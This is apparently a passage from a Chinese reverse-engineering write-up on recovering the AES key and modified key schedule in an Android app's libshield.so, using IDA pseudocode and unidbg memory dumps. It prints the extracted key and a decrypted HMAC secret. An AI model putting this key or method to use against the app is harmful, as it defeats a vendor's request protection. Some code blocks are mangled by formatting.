goto LABEL_6;
}
result = ((__int64 (__fastcall **)(__int64 *, __int64))(a1 + 1344))(a1, a2); // 调用JNI方法(如GetObjectClass/GetMethodID)
if ( (_DWORD)result )
{
v7 = sub_13A18(result); // 可能为异常检查或上下文获取
sub_14378(v7, v15); // 初始化局部引用或参数
v8 = sub_13F84(a1, v15[17], qword_10CA68, a2); // 获取方法ID或字段ID(如构造函数)
v9 = ((__int64 (__fastcall **)(__int64 *))(*a1 + 1824))(a1);
v10 = a1;
if ( !v9 )
{
v11 = ((__int64 (__fastcall **)(__int64 , __int64, _QWORD))(v10 + 1472))(a1, v8, 0LL); // 获取输入数据(如GetByteArrayElements)
v12 = ((__int64 (__fastcall **)(__int64 *, __int64))(a1 + 1368))(a1, v8); // 获取数据长度(如GetArrayLength)
v13 = ((__int64 (__fastcall **)(__int64 *, void *, _QWORD))(a1 + 1352))(a1, off_10CA78, 0LL); // 创建输出缓冲区(如NewByteArray)
v14 = ((__int64 (__fastcall **)(__int64 *, void *))(a1 + 1344))(a1, off_10CA78); // 调用解密函数
sub_4B39C(v11, v12, v13, v14, a3 + 652); // 解密函数 (如AES-CBC) a3 + 652 可能是存储解密结果的地址(输出到Java层或内存)
((void (__fastcall **)(__int64 *, void *, __int64))(a1 + 1360))(a1, off_10CA78, v13);
((void (__fastcall **)(__int64 *, __int64, __int64, _QWORD))(a1 + 1536))(a1, v8, v11, 0LL);
result = 1LL;
goto LABEL_6;
}
((void (__fastcall **)(__int64 ))(v10 + 128))(a1);
((void (__fastcall **)(__int64 *))(*a1 + 136))(a1);
goto LABEL_5;
}
LABEL_6:
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return result;
}
Hook密钥的关键时机是在callinitialize初始化前捕获原始字符串
\\n#######################################
#######################################
#######################################
二、打断点0x4B39C进行hook,发现了解密前后的参数(都是熟悉的值)
__int64 __fastcall sub_4B39C(__int64 a1, int a2, const void *a3, int a4, _DWORD *a5)
a1 -> 传入待解密的密文
a3 -> aes的秘钥key
mx0
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[15:52:02 316]x0=RW@0x40152000[libc++.so]0x2000, md5=9b8f09a9cf5bab297a41e16745a45ff3, hex=ee1755bfe9d97ece5d3215af401fa9e71782cbf447a784694a35ef2af11cbee541c7660da56e2c7b7a06c9dcb060c8025bad0f98ec194491d4721e361895afd480be29617ae4a27fb46cd2d9e4a4200aac5849dad64e0049abf9010033830d0500000000000000000000000000000000
size: 112
0000: EE 17 55 BF E9 D9 7E CE 5D 32 15 AF 40 1F A9 E7 ..U...~.]2..@...
0010: 17 82 CB F4 47 A7 84 69 4A 35 EF 2A F1 1C BE E5 ....G..iJ5.*....
0020: 41 C7 66 0D A5 6E 2C 7B 7A 06 C9 DC B0 60 C8 02 A.f..n,{z....`.. ==> 这里是密文
0030: 5B AD 0F 98 EC 19 44 91 D4 72 1E 36 18 95 AF D4 [.....D..r.6....
0040: 80 BE 29 61 7A E4 A2 7F B4 6C D2 D9 E4 A4 20 0A ..)az....l.... .
0050: AC 58 49 DA D6 4E 00 49 AB F9 01 00 33 83 0D 05 .XI..N.I....3...
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
mx2
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[15:51:53 725]x2=RW@0x40153000[libc++.so]0x3000, md5=852c37585df595b765f26ab3730bbe86, hex=33393932336533632d366336652d333839312d393435612d66643033633437393665623300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: 33 39 39 32 33 65 33 63 2D 36 63 36 65 2D 33 38 39923e3c-6c6e-38
0010: 39 31 2D 39 34 35 61 2D 66 64 30 33 63 34 37 39 91-945a-fd03c479
0020: 36 65 62 33 00 00 00 00 00 00 00 00 00 00 00 00 6eb3............
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ==> 这里是key 39923e3c-6c6e-3891-945a-fd03c4796eb3
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ==> 其实只用了 39923e3c6c6e3891945afd03c4796eb3(32位)
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
对函数中的第二个memcpy打断点 发现其src为解密后的值,故将sub_4B39C这个函数完全模拟就是我们想要的函数
void *memcpy(void *dest, const void *src, size_t n); dest:目标地址 src:源地址 n:要复制的字节数 查看mX1 数据的来源
memcpy(a5 + 1, v11 + 16, a2 - 16 - v13); -> v11 + 16是运算的结果
\\n\\n-----------------------------------------------------------------------------<
\\n
[11:55:04 437]x1=RW@0x4045e010, md5=78094efa10b35cbdb33ac8ea058b505f, hex=f6af0f73aa2cf7633bcc8bde567ae361aa6a5ea44c38e4e8e010f66df66769aef18579c66eca8f9ea278adfb420c5ccbace08d6cf06d843791744906b7a9e6dc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61 ...s.,.c;...Vz.a
0010: AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE .j^.L8.....m.gi.
0020: F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB ..y.n....x..B..
0030: AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC ...l.m.7.tI.....
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
a1指向数据 a3指向秘钥key
__int64 __fastcall sub_4B39C(__int64 a1, int a2, const void *a3, int a4, _DWORD *a5)
{
__int64 result; // x0
unsigned __int8 *v11; // x21
__int64 v12; // x8
size_t v13; // x23
_QWORD v14[2]; // [xsp+0h] [xbp-160h] BYREF
__int128 v15; // [xsp+10h] [xbp-150h] BYREF
_BYTE v16[248]; // [xsp+20h] [xbp-140h] BYREF
__int64 v17; // [xsp+118h] [xbp-48h]
v17 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
if ( a2 >= 80 ) // 0x50 -> 80
{
v11 = (unsigned __int8 *)malloc(a2); // 动态分配a2的内存
if ( v11 )
{
if ( a3 )
{
LODWORD(v12) = a4 - 1;
v14[0] = 0LL;
v14[1] = 0LL;
v15 = xmmword_C0134;
if ( a4 >= 1 )
{
if ( (unsigned int)v12 >= 0xF )
v12 = 15LL;
else
v12 = (unsigned int)v12;
memcpy(v14, a3, v12 + 1); // 拷贝16字节
}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | sub_51CB8(v14, 128LL , v16); / / 可能是AES - 128 秘钥扩展 (关键位置) * * * * * * * * * * * * * * * * * * * * * * * * * * * * result = sub_51884(a1, a2, a3); / / v14:key 扩展 128 位 v16 第三个参数 是否是扩展后的 11 轮秘钥 - > result = sub_51884(key, a2, a3); / / 这里的a3用于扩展秘钥的缓冲区( Round Keys) sub_51868(a1, (__int64)v11, a2, (__int64)v16, (unsigned __int64)&v15, 0 ); / / 解密操作 / / 验证: a1:明文 v11:缓冲 a2:数据长度 v16:秘钥扩展后的数据(由sub_51CB8生成,验证此处是否正确) v13 = v11[a2 - 1 ]; / / 获取填充长度 if ( (unsigned int )v13 < 0x11 ) { memset(&v11[a2 - v13], 0 , v13); / / 清除填充 * a5 = * v11; memcpy(a5 + 1 , v11 + 16 , a2 - 16 - ( int )v13); / / 提取有效数据 free(v11); result = 1LL ; goto LABEL_13; } } free(v11); } result = 0LL ; |
}
else
{
result = 0LL;
}
LABEL_13:
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return result;
}
memset(&v11[a2 - v13], 0, v13);处打断点 v11处的前v13个字节设置为0
\\nmx0
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[16:50:35 473]x0=RW@0x4045e050, md5=194ac95fdfd90c0552838e3cb9fb6abd, hex=10101010101010101010101010101010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................ ==> 填充值 清零
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
在memcpy(a5 + 1, v11 + 16, a2 - 16 - (int)v13);处打断点
这里得到的是解密后的结果(是md5的hmac_key)
mx1 -> src
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[16:44:45 254]x1=RW@0x4045e010, md5=78094efa10b35cbdb33ac8ea058b505f, hex=f6af0f73aa2cf7633bcc8bde567ae361aa6a5ea44c38e4e8e010f66df66769aef18579c66eca8f9ea278adfb420c5ccbace08d6cf06d843791744906b7a9e6dc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61 ...s.,.c;...Vz.a
0010: AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE .j^.L8.....m.gi.
0020: F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB ..y.n....x..B..
0030: AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC ...l.m.7.tI.....
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
三、追溯到sub_51884(a1, a2, a3);
\\n// a1 初始秘钥指针 a2 秘钥长度 a3 轮秘钥输出指针
__int64 __fastcall sub_51884(unsigned int *a1, int a2, unsigned int *a3)
{
unsigned int v3; // w8
int v4; // w8
unsigned int v5; // w8
__int64 v6; // x9
unsigned int *v7; // x10
int v8; // w16
int v9; // w18
int v10; // w17
int v11; // w17
__int64 v12; // x9
unsigned int *i; // x10
int v14; // w17
int v15; // w16
int v16; // w18
int v17; // w17
int v18; // w0
__int64 v19; // x9
unsigned int *j; // x10
unsigned int v21; // w17
int v22; // w18
int v23; // w0
int v24; // w16
int v25; // w18
int v26; // w17
int v27; // w0
unsigned int v28; // w17
v3 = 0;
if ( a1 )
{
if ( a3 )
{
if ( a2 == 128 || a2 == 256 || (v3 = 0, a2 == 192) )
{
if ( a2 == 128 )
{
v4 = 10; // 根据秘钥长度是否为128,192,256设置初始化轮数 10,12,14轮
}
else if ( a2 == 192 )
{
v4 = 12;
}
else
{
v4 = 14;
}
a3[60] = v4; // 初始化轮数 (保存轮数,如AES-128为10)==========================>以下属于原始秘钥处理
v5 = _byteswap_ulong(*a1) ^ 0xF1892131; // 对a1初始秘钥的字节序调整(_byteswap_ulong)并于固定值异或,初始化a3的前N个字
*a3 = v5;
a3[1] = _byteswap_ulong(a1[1]) ^ 0xFF001123;
a3[2] = _byteswap_ulong(a1[2]) ^ 0xF1001356; // 这里说明初始秘钥只用了前4个字节 unsign int = 4 字节 故使用了秘钥前16字节
a3[3] = _byteswap_ulong(a1[3]) ^ 0xF1234890;
// 即key = 0000: 33 39 39 32 33 65 33 63 2D 36 63 36 65 2D 33 38 39923e3c-6c6e-38
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | if ( a2 = = 128 ) / / 分支 1 : 128 秘钥 循环 40 次生成 10 轮秘钥 通过查表(qword_C15C0、qword_C19C0等)实现SubWord和RotWord { / / 异或轮常量(unk_C25C0)生成新轮密钥。 v6 = 0LL ; v7 = a3 + 4 ; do { v8 = * (v7 - 1 ); / / 轮秘钥生成循环,查表qword_C15C0和异或操作生成后续轮秘钥,写入 v5 ^ = * ((_DWORD * )qword_C15C0 + BYTE2(v8)) & 0xFF000000 ^ * ((_DWORD * )qword_C19C0 + BYTE1(v8)) & 0xFF0000 ^ * ((_DWORD * )qword_C1DC0 + (unsigned __int8)v8) & 0xFF00 ^ * ((unsigned __int8 * )qword_C21C0 + 4 * HIBYTE(v8)) ^ * (_DWORD * )((char * )&unk_C25C0 + v6); v9 = * (v7 - 2 ); v6 + = 4LL ; v10 = * (v7 - 3 ) ^ v5; / / 每次循环生成 4 个新的轮密钥字,写入 a3 的后续位置。 * v7 = v5; v7[ 1 ] = v10; v11 = v9 ^ v10; v7[ 2 ] = v11; v7[ 3 ] = v8 ^ v11; v7 + = 4 ; } while ( v6 ! = 40 ); / / v6从 0 到 40 ,步长为 4 ,共生成 10 个轮秘钥 } else { a3[ 4 ] = _byteswap_ulong(a1[ 4 ]); a3[ 5 ] = _byteswap_ulong(a1[ 5 ]); if ( a2 = = 192 ) / / 分支 2 : 192 位秘钥 { v12 = 0LL ; for ( i = a3 + 6 ; ; i + = 6 ) { v15 = * (i - 1 ); v5 ^ = * ((_DWORD * )qword_C15C0 + BYTE2(v15)) & 0xFF000000 ^ * ((_DWORD * )qword_C19C0 + BYTE1(v15)) & 0xFF0000 ^ * ((_DWORD * )qword_C1DC0 + (unsigned __int8)v15) & 0xFF00 ^ * ((unsigned __int8 * )qword_C21C0 + 4 * HIBYTE(v15)) ^ * (_DWORD * )((char * )&unk_C25C0 + v12); v16 = * (i - 3 ); v17 = * (i - 5 ) ^ v5; v18 = * (i - 4 ) ^ v17; * i = v5; i[ 1 ] = v17; i[ 2 ] = v18; i[ 3 ] = v16 ^ v18; if ( v12 = = 28 ) break ; v12 + = 4LL ; v14 = * (i - 2 ) ^ v16 ^ v18; i[ 4 ] = v14; i[ 5 ] = v15 ^ v14; } } else / / 分支 3 : 256 位秘钥 使用双重查表和异或生成轮秘钥 { a3[ 6 ] = _byteswap_ulong(a1[ 6 ]); a3[ 7 ] = _byteswap_ulong(a1[ 7 ]); v19 = 0LL ; for ( j = a3 + 8 ; ; j + = 8 ) { v24 = * (j - 1 ); v5 ^ = * ((_DWORD * )qword_C15C0 + BYTE2(v24)) & 0xFF000000 ^ * ((_DWORD * )qword_C19C0 + BYTE1(v24)) & 0xFF0000 ^ * ((_DWORD * )qword_C1DC0 + (unsigned __int8)v24) & 0xFF00 ^ * ((unsigned __int8 * )qword_C21C0 + 4 * HIBYTE(v24)) ^ * (_DWORD * )((char * )&unk_C25C0 + v19); v25 = * (j - 5 ); v26 = * (j - 7 ) ^ v5; v27 = * (j - 6 ) ^ v26; * j = v5; j[ 1 ] = v26; j[ 2 ] = v27; j[ 3 ] = v25 ^ v27; if ( v19 = = 24 ) break ; v28 = v25 ^ v27; v21 = * ((_DWORD * )qword_C15C0 + HIBYTE(v28)) & 0xFF000000 ^ * (j - 4 ) ^ * ((_DWORD * )qword_C19C0 + BYTE2(v28)) & 0xFF0000 ^ * ((_DWORD * )qword_C1DC0 + BYTE1(v28)) & 0xFF00 ^ * ((unsigned __int8 * )qword_C21C0 + 4 * (unsigned __int8)v28); v22 = * (j - 2 ); v23 = * (j - 3 ) ^ v21; j[ 4 ] = v21; j[ 5 ] = v23; v19 + = 4LL ; j[ 6 ] = v22 ^ v23; j[ 7 ] = v24 ^ v22 ^ v23; } } } return 1 ; } } |
}
return v3;
}
关键逻辑:
1.字节序反转与初始化
*a3 = _byteswap_ulong(*a1) ^ 0xF1892131; // 处理初始密钥字
2.查表操作(SubWord/RotWord -> 这里是还原的关键
v5 ^= *((_DWORD *)qword_C15C0 + BYTE2(v8)) & 0xFF000000 ^ ... ; // 查表操作
通过多个预设计表(qword_C15C0、qword_C19C0、qword_C1DC0、qword_C21C0) 实现AES的SubBytes和ShiftRows步骤
每个表对应不同的字节位置(高位、次高位、此低位、低位)
3.轮常量(Rcon)应用
v5 ^= ... ^ *(_DWORD *)((char *)&unk_C25C0 + v6); // 异或轮常量
unk_C25C0 是轮常量数组(如 Rcon[i]),用于密钥扩展中的异或操作。
sub_51CB8(v14, 128LL, v16); -> v16是秘钥扩展后的值,通过打断点到sub_51868处,获取v16扩展后的值
sub_51868(a1, v11, a2, v16, &v15, 0);
sub_51868这里v16肯定传入的是扩展后的秘钥,只需要在sub_51CB8中验证推过来的流程
(这里的秘钥对不上因为这是正向加密的扩展秘钥,内部还进行了一次倒序变成解密的扩展秘钥,并作了其他处理)
mx3 300
\\n\\n-----------------------------------------------------------------------------<
\\n
[16:17:48 097]x3=unidbg@0xbffff350, md5=a6f6eaa39d69a5476047742f1c6eb279, hex=49509d45c2e8ffd3875ccce9f8f5960dd9ef91a49dc3e178013a9c5fc33436a9915f8dbb442c70dc9cf97d27c20eaaf631554006d573fd67d8d50dfb5ef7d7d13b3aeacde426bd610da6f09c8622da2a1bae34eedf1c57ace9804dfd8b842ab670f31a3dc4b26342369c1a516204674b5b97006bb441797ff22e791354987d1a6dd29292efd67914466f006ca6b604099cbe5d5f8204eb86a9b97978e0d904650318b0c2402265cc607036dca87b0e94689f3540000000004ca73107000000000800000000000000808080800000000078f5ffbf000000005c3a642900000000a0f4ffbf0000000030f4ffbf000000000a000000000000000000000000000000000000000000000000c0104000000000003015400000000060000000000000000020154000000000de3ae65a
size: 300
0000: 49 50 9D 45 C2 E8 FF D3 87 5C CC E9 F8 F5 96 0D IP.E...........
0010: D9 EF 91 A4 9D C3 E1 78 01 3A 9C 5F C3 34 36 A9 .......x.:..46.
0020: 91 5F 8D BB 44 2C 70 DC 9C F9 7D 27 C2 0E AA F6 ...D,p...}\'....
0030: 31 55 40 06 D5 73 FD 67 D8 D5 0D FB 5E F7 D7 D1 1U@..s.g....^...
0040: 3B 3A EA CD E4 26 BD 61 0D A6 F0 9C 86 22 DA 2A ;:...&.a.....\\".*
0050: 1B AE 34 EE DF 1C 57 AC E9 80 4D FD 8B 84 2A B6 ..4...W...M...*.
0060: 70 F3 1A 3D C4 B2 63 42 36 9C 1A 51 62 04 67 4B p..=..cB6..Qb.gK
0070: 5B 97 00 6B B4 41 79 7F F2 2E 79 13 54 98 7D 1A [..k.Ay...y.T.}.
0080: 6D D2 92 92 EF D6 79 14 46 6F 00 6C A6 B6 04 09 m.....y.Fo.l....
0090: 9C BE 5D 5F 82 04 EB 86 A9 B9 79 78 E0 D9 04 65 ..]_......yx...e
00A0: 03 18 B0 C2 40 22 65 CC 60 70 36 DC A8 7B 0E 94 ....@\\"e.`p6..{..
^-----------------------------------------------------------------------------^
验证:
初始秘钥 本来就是小端序再_byteswap_ulong一下,读出来就不变(易混的地方)
33 39 39 32
33 65 33 63
2D 36 63 36
65 2D 33 38 39923e3c-6c6e-38
v5 = _byteswap_ulong(*a1) ^ 0xF1892131; 0x33393932 ^ 0xF1892131 -> 0xc2b01803
a3[1] = _byteswap_ulong(a1[1]) ^ 0xFF001123; 0x33653363 ^ 0xFF001123 -> 0xcc652240
a3[2] = _byteswap_ulong(a1[2]) ^ 0xF1001356; 0x2D366336 ^ 0xF1001356 -> 0xdc367060
a3[3] = _byteswap_ulong(a1[3]) ^ 0xF1234890; 0x652D3339 ^ 0xF1234890 -> 0x940e7ba9
sub_51CB8 => sub1884(秘钥扩展或初始化函数,生成正向轮秘钥)
sub_51CB8函数作用:
秘钥逆序处理:扩展后的加密轮秘钥按解密重新排列
v5 = a3[60]; // 获取轮数(如AES-256为14)
if ( v5 >= 1 ) {
v6 = &a3[4 * v5]; // 定位到轮密钥末尾
v7 = 4 * v5 - 4; // 计算交换范围
// 通过指针v9和v10交换轮密钥首尾部分
do {
// 交换4个int(对应128位块的轮密钥)
*(v9 - 2) = *(v10 - 2);
*(v10 - 2) = v12;
// ...类似操作处理其他位置
} while (v13);
}
轮操作:执行解密所需的逆字节替换、逆列混淆
if (a3[60] >= 2) {
v17 = (a3 + 7);
do {
// 查表操作(T表或逆T表)
v19 = *(&loc_C29E8 + ...) ^ *(&unk_C25E8 + ...)
^ *(&unk_C2DE8 + ...) ^ *(&unk_C31E8 + ...);
// 类似处理v20, v21
// 更新轮密钥中的值
*(v17 - 3) = ...; // 逆列混淆(InvMixColumns)
*(v17 - 2) = v19;
*(v17 - 1) = v20;
*v17 = v21;
} while (v18 < a3[60]);
}
正向扩展秘钥0xbffff330
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[16:36:20 019]x2=unidbg@0xbffff350, md5=08b9b49e235143cebd82759c2971ca0c, hex=0318b0c2402265cc607036dca87b0e9421daa07b61f8c5b70188f36ba9f3fdff3708ad2d56f0689a57789bf1fe8b660e9cb3921aca43fa809d3b617163b0077f4e4a77d784098d571932ec267a82eb5985b0742e01b9f979188b155f6209fe06ea1e77a5eba78edcf32c9b83912565857dbf48a89618c67465345df7f41138723d20ca2fab380c5bce0c51ac3a1d69de20806ecd8bb8629645b4333a7fa95ae449509d45c2e8ffd3875ccce9f8f5960d689f3540000000004ca73107000000000800000000000000808080800000000078f5ffbf000000005c3a642900000000a0f4ffbf0000000030f4ffbf000000000a000000000000000000000000000000000000000000000000c0104000000000003015400000000060000000000000000020154000000000de3ae65a
size: 300
0000: 03 18 B0 C2 40 22 65 CC 60 70 36 DC A8 7B 0E 94 ....@\\"e.`p6..{..
0010: 21 DA A0 7B 61 F8 C5 B7 01 88 F3 6B A9 F3 FD FF !..{a......k....
0020: 37 08 AD 2D 56 F0 68 9A 57 78 9B F1 FE 8B 66 0E 7..-V.h.Wx....f.
0030: 9C B3 92 1A CA 43 FA 80 9D 3B 61 71 63 B0 07 7F .....C...;aqc...
0040: 4E 4A 77 D7 84 09 8D 57 19 32 EC 26 7A 82 EB 59 NJw....W.2.&z..Y
0050: 85 B0 74 2E 01 B9 F9 79 18 8B 15 5F 62 09 FE 06 ..t....y..._b...
0060: EA 1E 77 A5 EB A7 8E DC F3 2C 9B 83 91 25 65 85 ..w......,...%e.
0070: 7D BF 48 A8 96 18 C6 74 65 34 5D F7 F4 11 38 72 }.H....te4]...8r
0080: 3D 20 CA 2F AB 38 0C 5B CE 0C 51 AC 3A 1D 69 DE = ./.8.[..Q.:.i.
0090: 20 80 6E CD 8B B8 62 96 45 B4 33 3A 7F A9 5A E4 .n...b.E.3:..Z.
00A0: 49 50 9D 45 C2 E8 FF D3 87 5C CC E9 F8 F5 96 0D IP.E...........
^-----------------------------------------------------------------------------^
v5 = _byteswap_ulong(*a1) ^ 0xF1892131; 0x33393932 ^ 0xF1892131 -> 0xc2b01803
a3[1] = _byteswap_ulong(a1[1]) ^ 0xFF001123; 0x33653363 ^ 0xFF001123 -> 0xcc652240
a3[2] = _byteswap_ulong(a1[2]) ^ 0xF1001356; 0x2D366336 ^ 0xF1001356 -> 0xdc367060
a3[3] = _byteswap_ulong(a1[3]) ^ 0xF1234890; 0x652D3338 ^ 0xF1234890 -> 0x940e7ba8
由此能确定第一段的逻辑是初始化秘钥 开始推理之后的每一段是否为轮秘钥
\\n进入秘钥扩展循环,开始对查表进行还原
qword_C15C0
.text&ARM.extab:00000000000519D0 11 5E 10 53 UBFX W17, W16, #0x10, #8
.text&ARM.extab:00000000000519D4 71 59 71 B8 LDR W17, [X11,W17,UXTW#2]
观察qword_C15C0对应的DCQ定义发现有一些缺失的值
.text&ARM.extab:00000000000C1911 90 D8 48 03 06 05 03 DCB 0x90, 0xD8, 0x48, 3, 6, 5, 3
.text&ARM.extab:00000000000C1918 F6 F7 01 F6 0E 1C 12 0E 61 C2…DCQ 0xE121C0EF601F7F6, 0x355F6A3561A3C261, 0xB9D069B957F9AE57, 0xC15899C186911786, 0x9EB9279E1D273A1D
这些都是dump so没有修复的内容,需要在IDA查看汇编打印对应的值,对照着IDA看看长度,最后得到1024的内容刚好是全部的内容
mx11 1024
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[10:27:49 332]x11=RX@0x400c15c0[libshield.so]0xc15c0, hex=63c6a5637cf8847c77ee99777bf68d7bf2ff0df26bd6bd6b6fdeb16fc59154c5306050300102030167cea9672b567d2bfee719fed7b562d7ab4de6ab76ec9a76ca8f45ca821f9d82c98940c97dfa877dfaef15fa59b2eb59478ec947f0fb0bf0ad41ecadd4b367d4a25ffda2af45eaaf9c23bf9ca453f7a472e49672c09b5bc0b775c2b7fde11cfd933dae93264c6a26366c5a363f7e413ff7f502f7cc834fcc34685c34a551f4a5e5d134e5f1f908f171e29371d8ab73d831625331152a3f1504080c04c79552c723466523c39d5ec3183028189637a196050a0f059a2fb59a070e090712243612801b9b80e2df3de2ebcd26eb274e6927b27fcdb275ea9f7509121b09831d9e832c58742c1a342e1a1b362d1b6edcb26e5ab4ee5aa05bfba052a4f6523b764d3bd6b761d6b37dceb329527b29e3dd3ee32f5e712f8413978453a6f553d1b968d100000000edc12ced20406020fce31ffcb179c8b15bb6ed5b6ad4be6acb8d46cbbe67d9be39724b394a94de4a4c98d44c58b0e858cf854acfd0bb6bd0efc52aefaa4fe5aafbed16fb4386c5434d9ad74d3366553385119485458acf45f9e910f9020406027ffe817f50a0f0503c78443c9f25ba9fa84be3a851a2f351a35dfea34080c0408f058a8f923fad929d21bc9d38704838f5f104f5bc63dfbcb677c1b6daaf75da2142632110203010ffe51afff3fd0ef3d2bf6dd2cd814ccd0c18140c13263513ecc32fec5fbee15f9735a2974488cc44172e3917c49357c4a755f2a77efc827e3d7a473d64c8ac645dbae75d19322b1973e6957360c0a060811998814f9ed14fdca37fdc224466222a547e2a903bab90880b8388468cca46eec729eeb86bd3b814283c14dea779de5ebce25e0b161d0bdbad76dbe0db3be0326456323a744e3a0a141e0a4992db49060c0a0624486c245cb8e45cc29f5dc2d3bd6ed3ac43efac62c4a6629139a8919531a495e4d337e479f28b79e7d532e7c88b43c8376e59376ddab76d8d018c8dd5b164d54e9cd24ea949e0a96cd8b46c56acfa56f4f307f4eacf25ea65caaf657af48e7aae47e9ae08101808ba6fd5ba78f08878254a6f252e5c722e1c38241ca657f1a6b473c7b4c69751c6e8cb23e8dda17cdd74e89c741f3e211f4b96dd4bbd61dcbd8b0d868b8a0f858a70e090703e7c423eb571c4b566ccaa664890d84803060503f6f701f60e1c120e61c2a361356a5f3557aef957b969d0b986179186c19958c11d3a271d9e27b99ee1d938e1f8eb13f8982bb3981122331169d2bb69d9a970d98e07898e9433a7949b2db69b1e3c221e87159287e9c920e9ce8749ce55aaff5528507828dfa57adf8c038f8ca159f8a1890980890d1a170dbf65dabfe6d731e64284c64268d0b8684182c3419929b0992d5a772d0f1e110fb07bcbb054a8fc54bb6dd6bb162c3a16, md5=1d9992b2b7b6d3158709a9d8bb494d6d
size: 1024
0000: 63 C6 A5 63 7C F8 84 7C 77 EE 99 77 7B F6 8D 7B c..c|..|w..w{..{
0010: F2 FF 0D F2 6B D6 BD 6B 6F DE B1 6F C5 91 54 C5 ....k..ko..o..T.
0020: 30 60 50 30 01 02 03 01 67 CE A9 67 2B 56 7D 2B 0P0....g..g+V}+ 0030: FE E7 19 FE D7 B5 62 D7 AB 4D E6 AB 76 EC 9A 76 ......b..M..v..v 0040: CA 8F 45 CA 82 1F 9D 82 C9 89 40 C9 7D FA 87 7D ..E.......@.}..} 0050: FA EF 15 FA 59 B2 EB 59 47 8E C9 47 F0 FB 0B F0 ....Y..YG..G.... 0060: AD 41 EC AD D4 B3 67 D4 A2 5F FD A2 AF 45 EA AF .A....g.._...E.. 0070: 9C 23 BF 9C A4 53 F7 A4 72 E4 96 72 C0 9B 5B C0 .#...S..r..r..[. 0080: B7 75 C2 B7 FD E1 1C FD 93 3D AE 93 26 4C 6A 26 .u.......=..&Lj& 0090: 36 6C 5A 36 3F 7E 41 3F F7 F5 02 F7 CC 83 4F CC 6lZ6?~A?......O. 00A0: 34 68 5C 34 A5 51 F4 A5 E5 D1 34 E5 F1 F9 08 F1 4h\\\\4.Q....4..... 00B0: 71 E2 93 71 D8 AB 73 D8 31 62 53 31 15 2A 3F 15 q..q..s.1bS1.*?. 00C0: 04 08 0C 04 C7 95 52 C7 23 46 65 23 C3 9D 5E C3 ......R.#Fe#..^. 00D0: 18 30 28 18 96 37 A1 96 05 0A 0F 05 9A 2F B5 9A .0(..7......./.. 00E0: 07 0E 09 07 12 24 36 12 80 1B 9B 80 E2 DF 3D E2 .....$6.......=. 00F0: EB CD 26 EB 27 4E 69 27 B2 7F CD B2 75 EA 9F 75 ..&.\'Ni\'....u..u 0100: 09 12 1B 09 83 1D 9E 83 2C 58 74 2C 1A 34 2E 1A ........,Xt,.4.. 0110: 1B 36 2D 1B 6E DC B2 6E 5A B4 EE 5A A0 5B FB A0 .6-.n..nZ..Z.[.. 0120: 52 A4 F6 52 3B 76 4D 3B D6 B7 61 D6 B3 7D CE B3 R..R;vM;..a..}.. 0130: 29 52 7B 29 E3 DD 3E E3 2F 5E 71 2F 84 13 97 84 )R{)..>./^q/.... 0140: 53 A6 F5 53 D1 B9 68 D1 00 00 00 00 ED C1 2C ED S..S..h.......,. 0150: 20 40 60 20 FC E3 1F FC B1 79 C8 B1 5B B6 ED 5B @
.....y..[..[
0160: 6A D4 BE 6A CB 8D 46 CB BE 67 D9 BE 39 72 4B 39 j..j..F..g..9rK9
